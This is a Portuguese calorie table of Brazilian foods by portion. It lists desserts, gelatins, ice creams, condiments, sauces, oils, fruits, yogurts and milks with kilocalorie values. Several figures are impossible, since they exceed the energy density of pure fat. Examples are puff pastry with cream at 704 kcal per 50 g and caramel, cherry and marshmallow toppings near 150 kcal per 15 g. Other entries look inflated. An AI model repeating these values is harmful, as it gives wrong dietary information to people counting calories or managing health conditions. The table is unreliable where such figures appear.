Amendoim c/ chocolate 1 colher de sopa (40g) 140
Apfelstrudell 1 fatia (100g) 296
Arroz-doce 1 porção (100g) 164
Baba-de-moça 1 taça (150g) 615
Banana Caramelada 1 unidade 140
Bananada 2 unidades (100g) 254
Banana passa 1 unidade (15g) 28
Bomba de chocolate 1 unidade (80g) 187
Bomba de chocolate c/ cobertura de chocolate 1 grande 296
Bombocado 1 unidade (30g) 91
Brigadeiro 1 unidade (30g) 96
Cajuzinho 1 unidade (12g) 102
Calda de caramelo 1 colher de sopa (20g) 55
Calda de chocolate com leite 1 colher de sopa (20g) 109
Canjica 1 xícara de chá (200g) 226
Chantibon 1 colher de sopa (15g) 67
Claybon Amendocrem 1 colher de sopa (20g) 123
Cobertura de caramelo 1 colher de sopa (15g) 156
Cobertura de cereja 1 colher de sopa (15g) 147
Cobertura de chocolate 1 colher de sopa (15g) 128
Cobertura de marshmellow 1 colher de sopa (15g) 50
Cocada Branca 1 unidade 55
Creme de amendoim 1 colher de sobremesa (15g) 88
Creme de marshmellow 1 colher de sopa (15g) 158
Doce de Banana mole 1 colher de sopa (20g) 46
Doce de leite 1 fatia (50g) 158
Folheado com creme 1 fatia (50g) 704
Framboesa em calda 1 colher de sopa (25g) 29
Geléia de goiaba 1 colher de sobremesa (15g) 30
Geléia de morango 1 colher de sobremesa (15g) 39
Geléia de mocotó 1 colher de sopa (20g) 36
Marmelada 1 fatia (100g) 264
Marrom glacê 1 fatia (100g) 270
Mel com própolis 1 colher de sopa (20g) 65
Mel de abelhas 1 colher de sopa (20g) 62
Mousse de chocolate 1 taça (150g) 333
Paçoca 1 unidade (30g) 114
Pamonha 1 unidade 135
Papo-de-anjo 1 unidade 150
Pastel de Santa Clara 1 unidade (80g) 143
Pavê 1 fatia (100g) 200
Pé-de-moleque 1 unidade (20g) 46
Pêssego em calda 1 unidade (100g) 81
Pudim de arroz caseiro 1 porção (100g) 230
Quindim caseiro 1 unidade (80g) 314
Rabanada 3 fatias (100g) 445
Rapadura 1 pedaço (50g) 84
Sonho 1 unidade (85g) 573
Suspiro pequeno 1 unidade (10g) 37

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Gelatinas

Abacaxi 1 porção (100g) 68
Cereja 1 porção (100g) 68
Framboesa 1 porção (145g) 68
Limão 1 porção (100g) 68
Morango 1 porção (100g) 68
Uva 1 porção (100g) 68

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Sorvetes

Ao leite coco 1 unidade 94
Ao leite morango 1 unidade 123
Banana Split 1 taça 843
Colegial 1 taça 482
Milk-Shake Baunilha 1 copo (290ml) 336
Milk-Shake Chocolate 1 copo (300ml) 380
Sorvete de massa chocolate creme morango e coco 1 bola (40g) 75
Sorvete de massa de limão 1 bola (40g) 62
Sundae 1 taça 616

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Adoçantes e condimentos

Açúcar branco refinado 1 colher de chá (10g) 40
Açúcar Mascavo 1 colher de chá (10g) 36
Alcaparra sem azeitona 1 colher de chá (6g) 2
Alho 1 dente 7
Caldo de carne 1 tablete (12g) 33
Caldo de galinha 1 tablete (12g) 35
Cebola crua 1 colher de sopa (20g) 6
Cheiro verde 1 maço 4
Curry 1 colher de café (6g) 23
Erva-doce 1 colher de chá (6g) 1
Extrato de tomate 1 colher de sopa (20g) 14
Ketchup 1 colher de sopa (15g) 20
Leite de coco ½ copo (120ml) 132
Molho de pimenta vermelha 1 colher de chá (6g) 2
Molho Inglês 1 colher de sopa (15g) 5
Mostarda 1 colher de chá (10g) 8
Páprica 1 colher de chá (6g) 20
Pimenta-do-reino 1 colher de chá (6g) 1
Sal branco refinado 1 colher de chá (6g) 0
Shoyu 1 colher de sopa (15g) 6
Vinagre 1 colher de sopa (15g) 3

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Cremes e molhos

Branco 1 colher de sopa (20g) 28
Chutney de manga 1 colher de sopa (20g) 82
Maionese 1 colher de sopa (20g) 141
Molho agridoce 1 colher de sopa (20g) 31
Molho de iogurte 1 colher de sopa (15g) 21
Molho roquefort 1 colher de sopa (15g) 78
Molho rose 1 colher de sopa (15g) 135
Molho de tomate caseiro 1 colher de sopa (15g) 10
Molho tártaro 1 colher de sopa (15g) 64

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Gorduras e óleos

Azeite-de-dendê 1 colher de sopa (10g) 89
Azeite de oliva 1 colher de sopa (10g) 90
Banha de galinha 1 colher de sopa (20g) 126
Banha de porco industrializada 1 colher de sopa (20g) 180
Gordura vegetal hidrogenada 1 colher de sopa (20g) 180
Manteiga com sal 1 colher de sopa (10g) 77
Margarina 1 colher de chá (10g) 74
Óleo de algodão 1 colher de sopa (10g) 90
Óleo de amendoim 1 colher de sopa (10g) 90
Óleo de canola 1 colher de sopa (10g) 90
Óleo de fígado de bacalhau 1 colher de sopa (13g) 130
Óleo de gergelim 1 colher de sopa (10g) 90
Óleo de girassol 1 colher de sopa (10g) 90
Óleo de milho 1 colher de sopa (10g) 90
Óleo de peixe 1 colher de sopa (10g) 90
Óleo de soja 1 colher de sopa (10g) 90

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Frutas frescas e secas

Abacate 1 porção (100g) 177
Abacaxi 1 fatia (80g) 50
Acerola 1 unidade (12g) 4
Banana-da-terra 1 unidade (100g) 117
Banana-maçã 1 unidade (65g) 72
Banana-nanica 1 unidade (90g) 87
Banana-prata crua 1 unidade (65g) 55
Caju 1 unidade (100g) 37
Cana-de-açúcar 1 gomo (100g) 64
Caqui chocolate 1 unidade (100g) 74
Castanha de caju picada 1 xícara de chá (150g) 835
Cereja 1 porção (100g) 97
Coco ralado fresco 1 colher de sopa (20g) 50
Figo maduro 1 unidade (50g) 68
Framboesa 1 colher de sopa (20g) 12
Goiaba vermelha 1 unidade (100g) 43
Graviola 1 unidade (100g) 60
Guaraná 100g 69
Kiwi 1 unidade 46
Laranja 1 unidade 46
Limão 1 unidade 12
Maçã verde 1 unidade (130g) 79
Maçã vermelha 1 unidade (130g) 85
Mamão maduro 1 fatia (100g) 36
Manga 1 unidade (350g) 230
Maracujá comum (polpa) 1 unidade (50g) 28
Melancia 1 fatia (100g) 24
Melão 1 fatia (70g) 19
Morango 9 unidades (100g) 43
Nozes 1 unidade (10g) 71
Pêra crua 1 unidade (110g) 68
Pêra seca 1 xícara de chá (150g) 144
Pêssego 1 unidade (150g) 63
Tangerina 1 unidade (100g) 50
Uva branca nacional 1 cacho pequeno 130
Uva passa 1 colher de sopa (18g) 54

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Iogurtes

Agite morango Danone 1 copo (200ml) 90
Coalhada 1 colher de sopa (20g) 52
Batavo c/ mel 1 unidade 210
Corpus Diet morango 1 unidade 74
Danette 1 unidade 75
Danoninho morango 1 pote (65g) 71
Dan'up 1 unidade 170
Iogurte batido com açúcar e mel 1 copo (200ml) 180
Iogurte desnatado light Batavo 1 copo (200ml) 88
Iogurte natural batido Vigor 1 unidade (200ml) 176
Iogurte natural batido light Vigor 1 unidade (200ml) 78
Iogurte natural Paulista 1 unidade 89
Iogurte natural light Paulista 1 unidade 57
Neston c/ cereal e frutas 1 unidade 202
Parmalat natural desnatado 1 unidade 88
Shake morango Nestlé 1 pote 400g 376

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Leites

Achocolatado Leco 1 copo (200ml) 194
Chocolate pronto Glória 1 unidade 204
Creme de leite 1 colher de sopa (15g) 37
Leite com chocolate 1 xícara (200ml) 222
Leite condensado 1 colher de sopa (20g) 65
Leite de búfala 1 copo (240ml) 253
Leite de cabra 1 copo (240ml) 220
Leite de soja 1 copo (240ml) 120
Leite em pó desnatado 2 colheres de sopa (40g) 73
Leite em pó integral 1 colher de sopa (20g) 99
Leite integral 1 copo (240ml) 150
Leite longa vida c/ ferro 1 copo (240ml) 146
Leite semidesnatado 1 copo (240ml) 115